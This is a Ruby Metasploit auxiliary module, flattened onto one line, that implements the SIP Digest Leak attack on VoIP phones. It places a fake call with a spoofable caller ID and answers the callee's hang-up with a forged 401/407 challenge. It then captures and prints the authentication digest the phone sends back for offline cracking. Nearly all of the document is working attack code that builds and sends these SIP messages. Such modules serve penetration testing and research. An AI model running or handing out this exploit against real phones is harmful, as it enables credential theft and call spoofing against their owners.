## # Author: Maurizio Agazzini - inode # http://lab.mediaservice.net/ # # Version: 0.1 # ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp def initialize super( 'Name' => 'SIP digest leak', 'Version' => '$Revision$', 'Description' => 'SIP Digest Leak discovered by EnableSecurity. By sending a fake call to a phone, when the user hangs up a BYE message is sent back. If the reply is a 401/407 message the phone will send a second BYE with the digest token.', 'Author' => 'Maurizio Agazzini - inode ', 'License' => MSF_LICENSE ) register_options( [ OptString.new('RHOST', [true, "Target IP address",'']), OptString.new('CPORT', [true, "Local Port",'5060']), OptString.new('RPORT', [true, "Remote Port",'5060']), OptString.new('NUMBER', [true, "Called number",'']), OptString.new('CID', [false, "Spoofed caller ID",' ']), OptString.new('REALM', [false, "Realm",'asterisk']), OptString.new('LHOST', [true, "Local IP address",'']), OptString.new('METHOD', [false, "Method to be used - 401 or 407?",'401']) ], self.class) end def run begin r_ip = datastore['RHOST'] l_ip = datastore['LHOST'] r_port = datastore['RPORT'] l_port = datastore['CPORT'] l_number = datastore['CID'] r_number = datastore['NUMBER'] $call_seq = "#{(rand(100)+100)}#{r_ip}" connect_udp print_status("Sending SIP Invite to: #{r_number}@#{r_ip}") send_invite_request(r_ip,l_ip,r_port,l_port,l_number,r_number) while (r = udp_sock.recvfrom(65535, 15) and r[1] ) if parse_reply(r,r_ip,l_ip,r_port,l_port,l_number,r_number) == -1 then disconnect_udp return end end disconnect_udp rescue Errno::EACCES rescue ::Rex::ConnectionError rescue ::Errno::EPIPE end end def parse_reply(pkt,r_ip,l_ip,r_port,l_port,l_number,r_number) return if not pkt[1] if(pkt[1] =~ /^::ffff:/) pkt[1] = pkt[1].sub(/^::ffff:/, '') end resp = pkt[0].split(/\s+/)[1] resp1 = pkt[0].split(/\s+/)[0] if(pkt[0] =~ /^To\:\s*(.*)$/i) testn = "#{$1.strip}".split(';')[0] end if(pkt[0] =~ /^Cseq\:\s*(.*)$/i) seq = "#{$1.strip}".split(' ')[0] end if resp1 == "BYE" then if pkt[0] =~ /^Authorization\:\s*(.*)$/i then auth_string = "#{$1}" print_status("Authentication digest received\n\t" + "#{auth_string}") print_status("Sending SIP OK") send_sip_ok(r_ip,l_ip,r_port,l_port,l_number,r_number,seq) return -1 else print_status("Received unauthenticated BYE") print_status("Sending #{datastore['METHOD']} message") send_sip_auth(r_ip,l_ip,r_port,l_port,l_number,r_number,seq) end else case resp.to_i when 100 print_status("Received: 100 Trying") when 180 print_status("Received: 180 Ringing") when 401 print_status("Received: 401 Unauthorized") when 200 print_status("Received: 200 OK") print_status("Sending SIP ACK") send_sip_ack(r_ip,l_ip,r_port,l_port,l_number,r_number,seq) print_status("Waiting for a BYE message") else print_status("Received: #{resp.to_i}") end end end def send_invite_request(r_ip,l_ip,r_port,l_port,l_number,r_number) req1 = "v=0" + "\r\n" req1 << "o=- 0 2 IN IP4 #{l_ip}" + "\r\n" req1 << "s=CounterPath X-Lite 3.0" + "\r\n" req1 << "c=IN IP4 #{l_ip}" + "\r\n" req1 << "t=0 0" + "\r\n" req1 << "m=audio 26486 RTP/AVP 107 0 8 101" + "\r\n" req1 << "a=alt:1 2 : rgvl5DSk p68VlbXK #{l_ip} 26486" + "\r\n" req1 << "a=fmtp:101 0-15" + "\r\n" req1 << "a=rtpmap:107 BV32/16000" + "\r\n" req1 << "a=rtpmap:101 telephone-event/8000" + "\r\n" req1 << "a=sendrecv" + "\r\n" req1 << "m=video 38014 RTP/AVP 115 34" + "\r\n" req1 << "a=alt:1 2 : 9J7Ce/ve GsKH48nl #{l_ip} 38014" + "\r\n" req1 << "a=alt:2 1 : kt07o7Sw T2Y8FEny 10.254.254.253 38014" + "\r\n" req1 << "a=fmtp:115 QCIF=1;CIF=1;I=1;J=1;T=1" + "\r\n" req1 << "a=fmtp:34 QCIF=1;CIF=1" + "\r\n" req1 << "a=rtpmap:115 H263-1998/90000" + "\r\n" req1 << "a=rtpmap:34 H263/90000" + "\r\n" req1 << "a=sendrecv" + "\r\n\r\n" req = "INVITE sip:#{r_number}@#{r_ip} SIP/2.0" + "\r\n" req << "Via: SIP/2.0/UDP #{l_ip}:#{l_port}" + "\r\n" req << "Max-Forwards: 70" + "\r\n" req << "Contact: " + "\r\n" req << "To: " + "\r\n" req << "From: " + "\r\n" req << "Call-ID: " + $call_seq + "\r\n" req << "CSeq: 1 INVITE" + "\r\n" req << "Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO" + "\r\n" req << "Content-Type: application/sdp" + "\r\n" req << "User-Agent: X-Lite release 1104o stamp 56125" + "\r\n" req << "Content-Length: " + req1.length.to_s + "\r\n" req << "" + "\r\n" req << req1 + "\r\n\r\n" udp_sock.sendto(req,r_ip,l_port.to_i,0); end def send_sip_ack(r_ip,l_ip,r_port,l_port,l_number,r_number,seq) req = "ACK sip:#{r_number}@#{r_ip}:#{r_port} SIP/2.0" + "\r\n" req << "Via: SIP/2.0/UDP #{l_ip}:#{l_port}" + "\r\n" req << "Max-Forwards: 70" + "\r\n" req << "Contact: " + "\r\n" req << "To: " + "\r\n" req << "From: " + "\r\n" req << "Call-ID: " + $call_seq + "\r\n" req << "CSeq: #{seq} ACK" + "\r\n" req << "User-Agent: X-Lite release 1104o stamp 56125" + "\r\n" req << "Content-Length: 0" + "\r\n\r\n" udp_sock.sendto(req,r_ip,l_port.to_i,0); end def send_sip_ok(r_ip,l_ip,r_port,l_port,l_number,r_number,seq) req = "SIP/2.0 200 OK" + "\r\n" req << "Via: SIP/2.0/UDP #{l_ip}:#{l_port}" + "\r\n" req << "Max-Forwards: 70" + "\r\n" req << "Contact: " + "\r\n" req << "To: " + "\r\n" req << "From: " + "\r\n" req << "Call-ID: " + $call_seq + "\r\n" req << "CSeq: #{seq} BYE" + "\r\n" req << "User-Agent: X-Lite release 1104o stamp 56125" + "\r\n" req << "Content-Length: 0" + "\r\n\r\n" udp_sock.sendto(req,r_ip,l_port.to_i,0); end def send_sip_auth(r_ip,l_ip,r_port,l_port,l_number,r_number,seq) if datastore['METHOD'] == "407" req = "SIP/2.0 407 Proxy Authentication Required" + "\r\n" else req = "SIP/2.0 401 Unauthorized" + "\r\n" end nonce = sprintf("%08d", rand(10000)+101) req << "Via: SIP/2.0/UDP #{l_ip}:5060" + "\r\n" req << "Max-Forwards: 70" + "\r\n" req << "Contact: " + "\r\n" req << "To: " + "\r\n" req << "From: " + "\r\n" req << "Call-ID: " + $call_seq + "\r\n" req << "CSeq: #{seq} BYE" + "\r\n" req << "User-Agent: X-Lite release 1104o stamp 56125" + "\r\n" req << "WWW-Authenticate: Digest algorithm=MD5, realm=\"" + datastore['REALM'] + "\", nonce=\"" + nonce + "\"" + "\r\n" req << "Content-Length: 0" + "\r\n\r\n" udp_sock.sendto(req,r_ip,l_port.to_i,0); end end